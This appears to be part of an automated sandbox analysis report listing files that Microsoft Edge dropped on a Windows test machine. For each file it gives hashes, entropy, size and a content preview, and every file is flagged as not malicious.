SHA-256:	03AC751B3BA31FEAD8C415E1195EDB3B0E2367C0A1DDE054582A0CE25918CA66
SHA-512:	7464F767C36E47D911A88D8352C1524305FBA9BE766AEE389DD5B7C5BA460E62D5FA5B2B7B69FAAC2037CC1D773A17361B988C425036084D849F8455AD32EDC1
Malicious:	false
Preview:	7....-...........XE6.:...,\...n..........XE6.:...^.J.~.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	419
Entropy (8bit):	3.6795353612647013
Encrypted:	false
SSDEEP:	6:/XntM+dll3sedhO38WrOuuuuuuuuuuuuaA9sedhOJMU:lllc8zWrOuuuuuuuuuuuuaAO8y
MD5:	68321A82D1D44DF12087B29190CD2395
SHA1:	8978877BC3C4420806D9B361133F2AE26758A058
SHA-256:	878B35F07FB0E845A674193A150D905EF519F331564761C45ACB3FEB967535A9
SHA-512:	3D611D3C134E6A4107F32AE119D782EBD23995089EB0DE04C332800EADB2E227A25C5B7D28FFD84B925182D4990D5BD0BE873A02F68667AA9ED2692C880764D7
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1....0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...................0................39_config..........6.....n ....1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2584635714900685
Encrypted:	false
SSDEEP:	6:HAHmUMq2PCHhJ23oH+TcwtfrK+IFUt8YAHjZZmw+YAHjzkwOCHhJ23oH+TcwtfrF:glMvBYeb23FUt87DZ/+7Dz56Yeb3J
MD5:	F6A9B27C146239651F3ED4A4EF9665D3
SHA1:	5A702CD4ECD43066C12DDDEF18C82A25AE17A08B
SHA-256:	13F0A3E665F58352FDD4FA142E46F4614435829DF220FF42DDBC09CCFC02828F
SHA-512:	0B3190F7864054EE628833B5FD3ED09B3421CF749B9142DD40ACA9B20E028F2EFBB7E82C10820B5F0CC213313140B3F51BB5EDFD4471994948DC704B6592C60A
Malicious:	false
Preview:	2024/11/25-06:08:36.866 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-06:08:36.868 1cf4 Recovering log #3.2024/11/25-06:08:36.868 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.2584635714900685
Encrypted:	false
SSDEEP:	6:HAHmUMq2PCHhJ23oH+TcwtfrK+IFUt8YAHjZZmw+YAHjzkwOCHhJ23oH+TcwtfrF:glMvBYeb23FUt87DZ/+7Dz56Yeb3J
MD5:	F6A9B27C146239651F3ED4A4EF9665D3
SHA1:	5A702CD4ECD43066C12DDDEF18C82A25AE17A08B
SHA-256:	13F0A3E665F58352FDD4FA142E46F4614435829DF220FF42DDBC09CCFC02828F
SHA-512:	0B3190F7864054EE628833B5FD3ED09B3421CF749B9142DD40ACA9B20E028F2EFBB7E82C10820B5F0CC213313140B3F51BB5EDFD4471994948DC704B6592C60A
Malicious:	false
Preview:	2024/11/25-06:08:36.866 1cf4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/11/25-06:08:36.868 1cf4 Recovering log #3.2024/11/25-06:08:36.868 1cf4 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	753
Entropy (8bit):	4.037333775091125
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvBs:G0nYUtypD3RUovhC+lvBOL+t3IvBs
MD5:	C5675C35B320A0898802E1ECFD3476E8
SHA1:	B6CA1C2EE1340662A7B495778416988006748327
SHA-256:	8E60BB9B60A9A242D016CF5425FF3D76A94911F197B3E4AB08A417E39C2832A5
SHA-512:	DAA3E9FADF4F69A88600460F48116E50BCE1C979E4AFA7114D1B8CCEC6626520CC3725D0BB845E0FCC8587A8690D4AC495C138AB1AAC2981CAEB9C485FA0CC67
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.220378986397644
Encrypted:	false
SSDEEP:	6:HAHbq34q2PCHhJ23oH+TcwtfrzAdIFUt8YAHw3JZmw+YAHjvDkwOCHhJ23oH+Tc/:gXvBYeb9FUt878/+7D756Yeb2J
MD5:	33CD3FDC4BF74B65FAAA54DDB3CDF65D
SHA1:	46598F9542A8386FE3DC81A9085BFD23ACD79A32
SHA-256:	859A07052F527B1722B7B4CCADCE9E74502EA6EC76FBF291FAE923D0525FD0CE
SHA-512:	086F9BB866D4C3B76908B9B56CAC3C1B0C7B608A4C7559E46F44D71699813F689EA1B747856728972F3807EF91863030D6CA815D8C5C477431CAF42A7DDBA87C
Malicious:	false
Preview:	2024/11/25-06:08:36.805 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-06:08:36.807 1c80 Recovering log #3.2024/11/25-06:08:36.808 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.220378986397644
Encrypted:	false
SSDEEP:	6:HAHbq34q2PCHhJ23oH+TcwtfrzAdIFUt8YAHw3JZmw+YAHjvDkwOCHhJ23oH+Tc/:gXvBYeb9FUt878/+7D756Yeb2J
MD5:	33CD3FDC4BF74B65FAAA54DDB3CDF65D
SHA1:	46598F9542A8386FE3DC81A9085BFD23ACD79A32
SHA-256:	859A07052F527B1722B7B4CCADCE9E74502EA6EC76FBF291FAE923D0525FD0CE
SHA-512:	086F9BB866D4C3B76908B9B56CAC3C1B0C7B608A4C7559E46F44D71699813F689EA1B747856728972F3807EF91863030D6CA815D8C5C477431CAF42A7DDBA87C
Malicious:	false
Preview:	2024/11/25-06:08:36.805 1c80 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/25-06:08:36.807 1c80 Recovering log #3.2024/11/25-06:08:36.808 1c80 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29919.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29929.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF29a90.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2c191.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF30744.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3abd1.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4077e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44170
Entropy (8bit):	6.09052641802424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4klCLmZtHtR96hOxq4gFkFDlwWE7RTupzKscDX//NPCh:z/Ps+wsI7yn9tGhOxqQoRTuiVIos
MD5:	BDAA31EC1ED8852BF007826DF0A57390
SHA1:	D49406B9A4F9E8226B7207488D51C5A67C9E70D7
SHA-256:	9789EA82A6E248D784164D92550E3C597FE9E4503BC1799B84EBF9C686490B24
SHA-512:	CAD17D203F1FCE7B875489758BD552F12092D3771EACB86AE403E579EDD364D0EEF0063EFE2DFF53C73848C1A9CC070004B647CA04E2A5B13B612257A0ABB0C9
Malicious:	false
